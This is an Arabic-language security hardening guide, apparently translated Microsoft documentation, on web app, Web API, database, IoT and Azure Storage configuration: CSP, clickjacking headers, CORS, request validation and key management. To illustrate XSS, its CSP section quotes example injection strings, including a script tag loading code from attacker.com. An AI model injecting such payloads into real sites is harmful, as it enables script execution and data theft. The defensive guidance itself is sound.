إطار الأمان: إدارة التكوين | التخفيفات من المخاطر

المنتج /الخدمة مقالة
تطبيق ويب
قاعدة بيانات
واجهة برمجة تطبيقات الويب
جهاز إنترنت الأشياء
بوابة حقل IoT
بوابة سحابة IoT
حد ثقة الجهاز
تخزين Azure
WCF

تنفيذ نهج أمان المحتوى (CSP) وتعطيل JavaScript المضمنة

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع مقدمة حول نهج أمان المحتوى، ومرجع نهج أمان المحتوى، ومقدمة لنهج أمان المحتوى، هل يمكنني استخدام CSP؟
الخطوات

نهج أمان المحتوى (CSP) هي آلية أمنية دفاعية متعمقة، وهي معيار W3C، والتي تمكن مالكي تطبيقات الويب من التحكم في المحتوى المضمن في مواقعهم. تتم إضافة CSP كرأس استجابة HTTP على خادم الويب ويتم فرضه على جانب العميل بواسطة المتصفحات. إنها نهج مستندة إلى القائمة مسموح بها - يمكن لموقع الويب الإعلان عن مجموعة من المجالات الموثوقة التي يمكن من خلالها تحميل المحتوى النشط مثل JavaScript.

يوفر CSP مزايا الأمان التالية:

  • الحماية من XSS: إذا كانت الصفحة معرضة لخطر XSS، فيمكن للمهاجم استغلالها بطريقتين:
    • إدخال <script>malicious code</script>. لن يعمل هذا الاستغلال بسبب القيود الأساسية 1 الخاصة بـ CSP
    • إدخال <script src="http://attacker.com/maliciousCode.js"/>. لن يعمل هذا الاستغلال لأن المجال الذي يتحكم فيه المهاجم لن يكون في قائمة المجالات المسموح بها لـ CSP
  • التحكم في استخراج البيانات: إذا حاول أي محتوى ضار على صفحة ويب الاتصال بموقع ويب خارجي وسرقة البيانات، فسيتم إلغاء الاتصال بواسطة CSP. هذا لأن المجال الهدف لن يكون في قائمة CSP المسموح بها
  • الدفاع ضد اقتحام النقرات: تعد ميزة النقر فوق التسلل أسلوباً للهجوم يمكن للخصم من خلاله تأطير موقع ويب حقيقي وإجبار المستخدمين على النقر فوق عناصر واجهة المستخدم. يتم تحقيق الدفاع حالياً ضد النقر فوق Jack-jacking من خلال تكوين رأس استجابة- X-Frame-Options. لا تحترم جميع المتصفحات هذا العنوان، وسيكون المضي قدماً في CSP طريقة قياسية للدفاع ضد اقتحام النقرات
  • الإبلاغ عن الهجمات في الوقت الحقيقي: إذا كان هناك هجوم إدخال على موقع ويب يدعم CSP، فستقوم المتصفحات تلقائياً بتشغيل إشعار لنقطة نهاية تمت تهيئتها على خادم الويب. بهذه الطريقة، يعمل CSP كنظام تحذير في الوقت الحقيقي.

مثال

نهج المثال:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

تسمح هذه النهج بتحميل البرامج النصية فقط من خادم تطبيق الويب وخادم تحليلات google. سيتم رفض البرامج النصية المحملة من أي موقع آخر. عند تمكين CSP على موقع ويب، يتم تعطيل الميزات التالية تلقائياً للتخفيف من هجمات XSS.

مثال

لن يتم تنفيذ البرامج النصية المضمنة. فيما يلي أمثلة على البرامج النصية المضمنة

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

مثال

لن يتم تقييم السلاسل كتعليمة برمجية.

Example: var str="alert(1)"; eval(str);

تمكين عامل تصفية XSS في المتصفح

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع عامل تصفية حماية XSS
الخطوات

يتحكم تكوين رأس استجابة X-XSS-Protection في عامل تصفية البرنامج النصي عبر المواقع بالمستعرض. يمكن أن يحتوي عنوان الاستجابة هذا على القيم التالية:

  • 0: سيؤدي هذا إلى تعطيل عامل التصفية
  • 1: Filter enabled إذا تم اكتشاف هجوم نصي عبر المواقع، فسيقوم المتصفح بتعقيم الصفحة من أجل إيقاف الهجوم
  • 1: mode=block : Filter enabled. بدلاً من تعقيم الصفحة، عند اكتشاف هجوم XSS، سيمنع المتصفح عرض الصفحة
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. سيقوم المتصفح بتعقيم الصفحة والإبلاغ عن الانتهاك.

هذه إحدى وظائف Chromium التي تستخدم تقارير انتهاك CSP لإرسال التفاصيل إلى URI من اختيارك. يعتبر الخياران الأخيران قيماً آمنة.

يجب أن تقوم تطبيقات ASP.NET بتعطيل التتبع وتصحيح الأخطاء قبل التوزيع

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع نظرة عامة على تصحيح أخطاء ASP.NET، نظرة عامة على تتبع ASP.NET، كيفية: تمكين التتبع لتطبيق ASP.NET، كيفية: تمكين التصحيح لتطبيقات ASP.NET
الخطوات عند تمكين التتبع للصفحة، يحصل كل مستعرض يطلبها أيضاً على معلومات التتبع التي تحتوي على بيانات حول حالة الخادم الداخلي وسير العمل. قد تكون هذه المعلومات حساسة من الناحية الأمنية. عند تمكين تصحيح الأخطاء للصفحة، تؤدي الأخطاء التي تحدث على الخادم إلى تقديم بيانات تتبع مكدس كاملة إلى المتصفح. قد تعرض هذه البيانات معلومات حساسة للأمان حول سير عمل الخادم.

الوصول إلى JavaScripts من جهات خارجية من مصادر موثوقة فقط

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات يجب الإشارة إلى JavaScripts من جهات خارجية من مصادر موثوقة فقط. يجب أن تكون نقاط النهاية المرجعية دائماً على TLS.

تأكد من أن صفحات ASP.NET المصادق عليها تتضمن دفاعات UI Redressing أو click-jacking

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع OWASP انقر فوق الرافعة الدفاع الغش ورقة، وداخلية Internet Explorer - مكافحة النقر الرافعة مع X-الإطار خيارات
الخطوات

Click-jacking، المعروف أيضاً باسم "UI redress attack"، هو عندما يستخدم المهاجم طبقات متعددة شفافة أو غير شفافة لخداع المستخدم للنقر على زر أو رابط في صفحة أخرى عندما كان ينوي النقر على صفحة المستوى الأعلى.

يتم تحقيق هذه الطبقات من خلال صياغة صفحة ضارة باستخدام إطار iframe، والذي يقوم بتحميل صفحة الضحية. وبالتالي، فإن المهاجم يقوم "باختطاف" النقرات المخصصة لصفحته وتوجيهها إلى صفحة أخرى، على الأرجح مملوكة لتطبيق أو مجال آخر أو كليهما. لمنع هجمات اقتحام النقر، قم بتعيين رؤوس استجابة HTTP المناسبة لخيارات X-Frame والتي ترشد المتصفح إلى عدم السماح بالتأطير من المجالات الأخرى

مثال

يمكن تعيين رأس X-FRAME-OPTIONS عبر IIS web.config. قصاصة برمجية تعليمة برمجية Web.config للمواقع التي لا يجب أبداً تأطيرها:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

مثال

تعليمة برمجية Web.config للمواقع التي يجب تأطيرها فقط من خلال صفحات في نفس المجال:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

تأكد من السماح بالأصول الموثوقة فقط إذا تم تمكين CORS في تطبيقات الويب ASP.NET

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها نماذج ويب، MVC5
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات

يمنع أمان المتصفح صفحة الويب من إرسال طلبات AJAX إلى مجال آخر. يسمى هذا التقييد نهج الأصل نفسه، ويمنع موقعا ضارا من قراءة البيانات الحساسة من موقع آخر. ومع ذلك، قد يكون مطلوباً في بعض الأحيان الكشف عن واجهات برمجة التطبيقات بشكل آمن والتي يمكن أن تستهلكها المواقع الأخرى. تعد مشاركة الموارد عبر المنشأ (CORS) أحد معايير W3C التي تسمح للخادم بالتخفيف من نهج نفس الأصل. باستخدام CORS، يمكن للخادم أن يسمح صراحةً ببعض الطلبات عبر الأصل بينما يرفض البعض الآخر.

CORS أكثر أماناً ومرونة من التقنيات السابقة مثل JSONP. في جوهره، يُترجم تمكين CORS إلى إضافة عدد قليل من رؤوس استجابة HTTP (Access-Control- *) إلى تطبيق الويب ويمكن القيام بذلك بطريقتين.

مثال

إذا كان الوصول إلى Web.config متاحاً، فيمكن إضافة CORS من خلال التعليمة البرمجية التالي:

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

مثال

إذا لم يكن الوصول إلى web.config متاحاً، فيمكن تكوين CORS عن طريق إضافة تعليمة برمجية C# التالي:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

لاحظ أنه من الأهمية بمكان التأكد من تعيين قائمة الأصول في سمة "Access-Control-Allow-Origin" على مجموعة أصول محدودة وموثوق بها. سيؤدي الفشل في تكوين هذا بشكل غير مناسب (على سبيل المثال، تعيين القيمة كـ "*") إلى السماح للمواقع الضارة بتشغيل طلبات عبر الأصل إلى تطبيق الويب >دون أي قيود، ما يجعل التطبيق عرضة لهجمات CSRF.

تمكين سمة ValidateRequest على صفحات ASP.NET

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها نماذج ويب، MVC5
السمات ‏‫غير متوفر‬
المراجع طلب التحقق - منع هجمات البرامج النصية
الخطوات

طلب التحقق من الصحة، وهي إحدى ميزات ASP.NET منذ الإصدار 1.1، تمنع الخادم من قبول المحتوى الذي يحتوي على HTML غير المشفر. تم تصميم هذه الميزة للمساعدة في منع بعض هجمات إدخال البرامج النصية حيث يمكن إرسال كود البرنامج النصي للعميل أو HTML دون علم إلى خادم، ثم تخزينه، ثم تقديمه إلى مستخدمين آخرين. ما زلنا نوصي بشدة بالتحقق من صحة جميع بيانات الإدخال وترميزها بتنسيق HTML عندما يكون ذلك مناسباً.

يتم إجراء التحقق من صحة الطلب من خلال مقارنة جميع بيانات الإدخال بقائمة من القيم التي يحتمل أن تكون خطرة. في حالة حدوث تطابق، يقوم ASP.NET بإصدار HttpRequestValidationException. بشكل افتراضي، يتم تمكين ميزة التحقق من صحة الطلب.

مثال

ومع ذلك، يمكن تعطيل هذه الميزة على مستوى الصفحة:

<%@ Page validateRequest="false" %> 

أو على مستوى التطبيق

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

لاحظ أن ميزة "طلب التحقق من الصحة" غير مدعومة، وليست جزءاً من تدفق MVC6.

استخدم أحدث الإصدارات المستضافة محلياً من مكتبات JavaScript

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات

يجب على المطورين الذين يستخدمون مكتبات JavaScript قياسية مثل JQuery استخدام إصدارات معتمدة من مكتبات JavaScript الشائعة التي لا تحتوي على ثغرات أمنية معروفة. من الممارسات الجيدة استخدام أحدث إصدار من المكتبات، نظراً لاحتوائها على إصلاحات أمنية للثغرات الأمنية المعروفة في إصداراتها القديمة.

إذا تعذر استخدام أحدث إصدار لأسباب تتعلق بالتوافق، فيجب استخدام الإصدارات الدنيا أدناه.

الإصدارات الدنيا المقبولة:

  • JQuery
    • برنامج JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9.1 تحديث
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99.4 تحديث
    • JQuery DataTables 1.9.0.0 تحديث
  • مجموعة أدوات تحكم Ajax
    • مجموعة أدوات التحكم Ajax 40412
  • نماذج ويب ASP.NET وAjax
    • نماذج ويب ASP.NET وAjax 4
    • ASP.NET Ajax 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

لا تقم أبداً بتحميل أي مكتبة JavaScript من مواقع خارجية مثل شبكات CDN العامة

تعطيل اكتشاف MIME التلقائي

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع الجزء الخامس من أمان IE8: الحماية الشاملة، نوع MIME
الخطوات رأس X-Content-Type-Options هو رأس HTTP يسمح للمطورين بتحديد أن المحتوى الخاص بهم لا ينبغي شمه بواسطة MIME. تم تصميم هذا الرأس للتخفيف من هجمات MIME-Sniffing. لكل صفحة يمكن أن تحتوي على محتوى يمكن التحكم فيه من قبل المستخدم، يجب عليك استخدام رأس HTTP X-Content-Type-Options: nosniff. لتمكين الرأس المطلوب عالمياً لجميع الصفحات في التطبيق، يمكنك القيام بأحد الإجراءات التالية

مثال

أضف الرأس في ملف web.config إذا تمت استضافة التطبيق بواسطة خدمات معلومات الإنترنت (IIS) 7 فصاعداً.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

مثال

أضف الرأس من خلال Application_BeginRequest العالمي

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

مثال

تنفيذ وحدة HTTP مخصصة

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

مثال

يمكنك تمكين العنوان المطلوب فقط لصفحات معينة عن طريق إضافته إلى الردود الفردية:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

إزالة رؤوس الخادم القياسية على مواقع Windows Azure على الويب لتجنب جمع معلومات

‏‫العنوان التفاصيل
المكون تطبيق ويب
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات EnvironmentType - Azure
المراجع إزالة رؤوس الخادم القياسية في مواقع Windows Azure على الويب
الخطوات تكشف الرؤوس مثل Server وX-Powered-By وX-AspNet-Version معلومات حول الخادم والتقنيات الأساسية. يوصى بإلغاء هذه الترويسات وبالتالي منع أخذ بصمات التطبيق

تكوين جدار حماية Windows للوصول إلى مشغل قاعدة البيانات

‏‫العنوان التفاصيل
المكون قاعدة البيانات
مرحلة SDL إنشاء
التقنيات المعمول بها SQL Azure, OnPrem
السمات غير متاح، إصدار SQL - V12
المراجع كيفية تكوين جدار حماية Azure SQL Database، تكوين جدار حماية Windows للوصول إلى مشغل قاعدة البيانات
الخطوات تساعدك أنظمة جدار الحماية على منع الوصول غير المصرح به إلى موارد الكمبيوتر. للوصول إلى مثيل SQL Server Database Engine من خلال جدار حماية، يجب تكوين جدار الحماية على الكمبيوتر الذي يقوم بتشغيل SQL Server للسماح بالوصول

تأكد من السماح بالأصول الموثوقة فقط إذا تم تمكين CORS في ASP.NET Web API

‏‫العنوان التفاصيل
المكون واجهة API للويب
مرحلة SDL إنشاء
التقنيات المعمول بها MVC 5
السمات ‏‫غير متوفر‬
المراجع تمكين الطلبات المشتركة في ASP.NET Web API 2، ASP.NET Web API - CORS Support in ASP.NET Web API 2
الخطوات

يمنع أمان المتصفح صفحة الويب من إرسال طلبات AJAX إلى مجال آخر. يسمى هذا التقييد نهج الأصل نفسه، ويمنع موقعا ضارا من قراءة البيانات الحساسة من موقع آخر. ومع ذلك، قد يكون مطلوباً في بعض الأحيان الكشف عن واجهات برمجة التطبيقات بشكل آمن والتي يمكن أن تستهلكها المواقع الأخرى. تعد مشاركة الموارد عبر المنشأ (CORS) أحد معايير W3C التي تسمح للخادم بالتخفيف من نهج نفس الأصل.

باستخدام CORS، يمكن للخادم أن يسمح صراحةً ببعض الطلبات عبر الأصل بينما يرفض البعض الآخر. CORS أكثر أماناً ومرونة من التقنيات السابقة مثل JSONP.

مثال

في App_Start/WebApiConfig.cs، أضف التعليمة البرمجية التالية إلى أسلوب WebApiConfig.Register

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

مثال

يمكن تطبيق السمة EnableCors على طرق الإجراء في وحدة التحكم على النحو التالي:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

لاحظ أنه من الأهمية بمكان التأكد من تعيين قائمة الأصول في سمة EnableCors على مجموعة أصول محدودة وموثوقة. سيؤدي الفشل في تكوين هذا بشكل غير مناسب (على سبيل المثال، تعيين القيمة كـ "*") إلى السماح للمواقع الضارة بتشغيل طلبات عبر الأصل إلى واجهة برمجة التطبيقات دون أي قيود، >ما يجعل واجهة برمجة التطبيقات عرضة لهجمات CSRF. يمكن تزيين EnableCors على مستوى وحدة التحكم.

مثال

لتعطيل CORS على طريقة معينة في فئة، يمكن استخدام سمة DisableCors كما هو موضح أدناه:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
‏‫العنوان التفاصيل
المكون واجهة API للويب
مرحلة SDL إنشاء
التقنيات المعمول بها MVC 6
السمات ‏‫غير متوفر‬
المراجع تمكين الطلبات متعددة المصادر (CORS) في ASP.NET Core 1.0
الخطوات

في ASP.NET Core 1.0، يمكن تمكين CORS إما باستخدام البرامج الوسيطة أو باستخدام MVC. عند استخدام MVC لتمكين CORS، يتم استخدام نفس خدمات CORS، لكن البرامج الوسيطة CORS ليست كذلك.

النهج 1 تمكين CORS باستخدام البرامج الوسيطة: لتمكين CORS للتطبيق بأكمله، أضف البرامج الوسيطة CORS إلى مسار الطلب باستخدام طريقة الملحق UseCors. يمكن تحديد نهج المصدر المشترك عند إضافة برمجية CORS الوسيطة باستخدام فئة CorsPolicyBuilder. هناك طريقتان للإنشاء:

مثال

الأول هو استدعاء UseCors باستخدام لامدا. تأخذ lambda عنصر CorsPolicyBuilder:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

مثال

والثاني هو تحديد واحدة أو أكثر من نُهج CORS المسماة، ثم تحديد النهج بالاسم في وقت التشغيل.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

النهج 2 تمكين CORS في MVC: يمكن للمطورين بدلاً من ذلك استخدام MVC لتطبيق CORS معين لكل إجراء، لكل وحدة تحكم، أو بشكل عام لجميع وحدات التحكم.

مثال

لكل إجراء: لتحديد نهج CORS لإجراء معين، أضف السمة [EnableCors] إلى الإجراء. حدد اسم النهج.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

مثال

لكل وحدة تحكم:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

مثال

عالميا:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

لاحظ أنه من الأهمية بمكان التأكد من تعيين قائمة الأصول في سمة EnableCors على مجموعة أصول محدودة وموثوقة. سيؤدي الفشل في تكوين هذا بشكل غير مناسب (على سبيل المثال، تعيين القيمة كـ "*") إلى السماح للمواقع الضارة بتشغيل طلبات عبر الأصل إلى واجهة برمجة التطبيقات دون أي قيود، >ما يجعل واجهة برمجة التطبيقات عرضة لهجمات CSRF.

مثال

لتعطيل CORS لوحدة تحكم أو إجراء، استخدم السمة [DisableCors].

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

تشفير أقسام ملفات تكوين Web API التي تحتوي على بيانات حساسة

‏‫العنوان التفاصيل
المكون واجهة API للويب
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع كيفية: تشفير أقسام التكوين في ASP.NET 2.0 باستخدام DPAPI، تحديد موفر تكوين محمي، استخدام Azure Key Vault لحماية بيانات سرية التطبيق
الخطوات غالباً ما تُستخدم ملفات التكوين مثل Web.config وappsettings.json للاحتفاظ بالمعلومات الحساسة، بما في ذلك أسماء المستخدمين وكلمات المرور وسلاسل اتصال قاعدة البيانات ومفاتيح التشفير. إذا لم تقم بحماية هذه المعلومات، فإن التطبيق الخاص بك يكون عرضة للمهاجمين أو المستخدمين الضارين الذين يحصلون على معلومات حساسة مثل أسماء المستخدمين وكلمات المرور وأسماء قواعد البيانات وأسماء الخوادم. استناداً إلى نوع التوزيع (azure/on-prem)، قم بتشفير الأقسام الحساسة لملفات التكوين باستخدام DPAPI أو خدمات مثل Azure Key Vault.

تأكد من أن جميع واجهات المسؤول مؤمنة ببيانات اعتماد قوية

‏‫العنوان التفاصيل
المكون جهاز IoT
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات يجب تأمين أي واجهات إدارية يعرضها الجهاز أو البوابة الميدانية باستخدام بيانات اعتماد قوية. أيضاً، يجب تأمين أي واجهات مكشوفة أخرى مثل WiFi وSSH ومشاركات الملفات وFTP ببيانات اعتماد قوية. يجب عدم استخدام كلمات المرور الافتراضية الضعيفة.

تأكد من أن التعليمة البرمجية غير المعروفة لا يمكن تنفيذها على الأجهزة

‏‫العنوان التفاصيل
المكون جهاز IoT
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع تمكين التمهيد الآمن وتشفير جهاز BitLocker على Windows 10 IoT Core
الخطوات يقيد التمهيد الآمن لـ UEFI النظام للسماح فقط بتنفيذ الثنائيات الموقعة من قبل سلطة محددة. تمنع هذه الميزة تنفيذ التعليمة البرمجية غير المعروفة على النظام الأساسي ومن المحتمل أن تضعف الوضع الأمني ​​لها. قم بتمكين التمهيد الآمن لـ UEFI وقم بتقييد قائمة المراجع المصدقة الموثوقة لتوقيع التعليمة البرمجية. قم بتوقيع جميع الرموز التي تم توزيعها على الجهاز باستخدام إحدى السلطات الموثوقة.

تشفير نظام التشغيل والأقسام الأخرى لجهاز إنترنت الأشياء باستخدام BitLocker

‏‫العنوان التفاصيل
المكون جهاز IoT
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات يقوم Windows 10 IoT Core بتنفيذ إصدار خفيف الوزن من BitLocker Device Encryption، والذي يعتمد بشدة على وجود TPM على النظام الأساسي، بما في ذلك بروتوكول preOS الضروري في UEFI الذي يجري القياسات اللازمة. تضمن قياسات ما قبل نظام التشغيل هذه أن يكون لنظام التشغيل لاحقاً سجل نهائي لكيفية بدء تشغيل نظام التشغيل. قم بتشفير أقسام نظام التشغيل باستخدام BitLocker وأي أقسام أخرى أيضاً في حالة تخزين أي بيانات حساسة.

تأكد من تمكين الحد الأدنى من الخدمات/الميزات فقط على الأجهزة

‏‫العنوان التفاصيل
المكون جهاز IoT
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات لا تقم بتمكين أو إيقاف تشغيل أي ميزات أو خدمات في نظام التشغيل غير مطلوبة لتشغيل الحل. على سبيل المثال، إذا كان الجهاز لا يتطلب توزيع واجهة مستخدم، فقم بتثبيت Windows IoT Core في وضع مقطوعة الرأس.

تشفير نظام التشغيل وأقسام أخرى في IoT Field Gateway باستخدام BitLocker

‏‫العنوان التفاصيل
المكون بوابة حقل IoT
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات يقوم Windows 10 IoT Core بتنفيذ إصدار خفيف الوزن من BitLocker Device Encryption، والذي يعتمد بشدة على وجود TPM على النظام الأساسي، بما في ذلك بروتوكول preOS الضروري في UEFI الذي يجري القياسات اللازمة. تضمن قياسات ما قبل نظام التشغيل هذه أن يكون لنظام التشغيل لاحقاً سجل نهائي لكيفية بدء تشغيل نظام التشغيل. قم بتشفير أقسام نظام التشغيل باستخدام BitLocker وأي أقسام أخرى أيضاً في حالة تخزين أي بيانات حساسة.

تأكد من تغيير بيانات اعتماد تسجيل الدخول الافتراضية لبوابة المجال أثناء التثبيت

‏‫العنوان التفاصيل
المكون بوابة حقل IoT
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات تأكد من تغيير بيانات اعتماد تسجيل الدخول الافتراضية لبوابة المجال أثناء التثبيت

تأكد من أن Cloud بوابة تنفذ عملية للحفاظ على تحديث البرامج الثابتة للأجهزة المتصلة

‏‫العنوان التفاصيل
المكون بوابة سحابة IoT
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات اختيار البوابة - Azure IoT Hub
المراجع نظرة عامة على إدارة جهاز IoT Hub،تحديث الجهاز لبرنامج Azure IoT Hub التعليمي باستخدام Raspberry Pi 3 B + صورة مرجعية.
الخطوات LWM2M هو بروتوكول من Open Mobile Alliance لإدارة أجهزة إنترنت الأشياء. تسمح إدارة جهاز Azure IoT بالتفاعل مع الأجهزة المادية باستخدام وظائف الجهاز. تأكد من أن Cloud بوابة تنفذ عملية للحفاظ على تحديث بيانات الجهاز وبيانات التكوين الأخرى بشكل روتيني باستخدام Azure IoT Hub Device Management.

تأكد من أن الأجهزة بها ضوابط أمان نقطة النهاية تم تكوينها وفقاً للنُهج التنظيمية

‏‫العنوان التفاصيل
المكون حد ثقة الجهاز
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع ‏‫غير متوفر‬
الخطوات تأكد من أن الأجهزة تحتوي على عناصر تحكم أمنية في نقطة النهاية مثل BitLocker للتشفير على مستوى القرص، ومكافحة الفيروسات مع التوقيعات المحدثة، وجدار الحماية المستند إلى المضيف، وترقيات نظام التشغيل، ونُهج المجموعة وما إلى ذلك، تم تكوينها وفقاً لنُهج الأمان التنظيمية.

ضمان الإدارة الآمنة لمفاتيح الوصول إلى تخزين Azure

‏‫العنوان التفاصيل
المكون تخزين Azure
مرحلة SDL التوزيع
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع دليل أمان Azure Storage - إدارة مفاتيح حساب التخزين
الخطوات

تخزين المفاتيح: يوصى بتخزين مفاتيح الوصول إلى Azure Storage في Azure Key Vault كسر وجعل التطبيقات تسترد المفتاح من مخزن المفاتيح. يوصى بهذا للأسباب التالية:

  • لن يشتمل التطبيق مطلقاً على مفتاح التخزين الثابت في ملف التكوين، ما يزيل هذا المسار الذي يمكن لشخص ما الوصول إلى المفاتيح دون إذن محدد
  • يمكن التحكم في الوصول إلى المفاتيح باستخدام معرف Microsoft Entra. هذا يعني أن مالك الحساب يمكنه منح حق الوصول إلى عدد قليل من التطبيقات التي تحتاج إلى استرداد المفاتيح من Azure Key Vault. لن تتمكن التطبيقات الأخرى من الوصول إلى المفاتيح دون منحها إذناً على وجه التحديد
  • تجديد المفتاح: من المستحسن أن يكون لديك عملية قائمة لإعادة إنشاء مفاتيح الوصول إلى تخزين Azure لأسباب أمنية. تم توثيق التفاصيل حول سبب وكيفية التخطيط لتجديد المفتاح في المقالة المرجعية لـ Azure Storage Security Guide

تأكد من السماح بالأصول الموثوقة فقط إذا تم تمكين CORS في تخزين Azure

‏‫العنوان التفاصيل
المكون تخزين Azure
مرحلة SDL إنشاء
التقنيات المعمول بها العام
السمات ‏‫غير متوفر‬
المراجع دعم CORS لخدمات التخزين Azure
